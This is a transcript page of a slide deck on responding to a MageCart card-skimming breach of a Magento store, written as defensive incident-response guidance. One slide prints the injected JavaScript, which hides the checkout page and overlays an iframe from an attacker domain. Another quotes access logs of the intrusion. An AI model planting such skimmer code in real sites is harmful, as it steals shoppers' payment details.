Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Locking down your Magento store

Sponsored · Your Podcast. Everywhere. Effortlessly. Share. Educate. Inspire. Entertain. You do you. We'll handle the rest.

Locking down your Magento store

With the increase in the prevalence of MageCart and other JavaScript based attacks, I share our experience responding to a breach and the process to go through. I also discuss the challenge of balancing security team requirements with that of the Ecommerce team and finding a balance.

Avatar for Tom Robertshaw

Tom Robertshaw

May 01, 2019
Tweet

More Decks by Tom Robertshaw

Other Decks in Technology

Transcript

  1. • 20 lines of JS • Duplicates form submissions to

    dead-drop. • Invisible to merchant and customer. MageCart
  2. if (document.title == "One Step Checkout | Merchant Name") {

    var __gt2 = "https://api-secure-checkout.com" ; var __b0 = document.body; __b0.insertAdjacentHTML('beforebegin', '<iframe src=' + __gt2 + '/checkout_merchantname.php?id=" id="XBA323" width="100%" height="1000px" frameBorder="0"></iframe>'); __b0.style.display = "none"; } Identify
  3. • Admin User ◦ Name, Email, Changed and Updated At

    • Misc Scripts Config ◦ The breach Preserve
  4. • Delete Admin User • Remove script from Misc Scripts

    Config • Review and Redeploy all files Remove Hack
  5. • Admin actions log • Web server access log 216.151.184.62

    - - [29/Jan/2019:11:30:46 +0000] "GET /downloader/ HTTP/1.1" 200 18034 216.151.184.62 - - [04/Feb/2019:14:48:16 +0000] "GET /index.php/admin/permissions_user/new/key/95bcf8a73ce1ff3535e4ba6d2167760f/ HTTP/1.1" 200 17907 216.151.184.62 - - [04/Feb/2019:15:23:10 +0000] "POST /index.php/admin/system_config/save/section/design/95bcf8a73ce1ff3535e4ba6d2167760f/ HTTP/1.1" 200 Investigate
  6. • Code Vulnerability ◦ Core, third-party plugins, bespoke plugins •

    Admin access ◦ Brute force, Infected staff computers • External software ◦ Phpmyadmin (adminer), magmi Investigate
  7. • Rotate passwords • Remove Downloader • Implement next level

    of security ◦ E.g. IP restricted admin Close Up Breach
  8. 1. Identify 2. Preserve 3. Remove Hack 4. Investigate 5.

    Close up breach 6. Report 7. Monitor Breach Response Summary
  9. • Fines from Visa & Mastercard • Increased transaction costs

    • Increased business insurance costs • Fines from ICO • Loss of business as customers lose trust • Time & money spent investigating and resolving hack Business Impact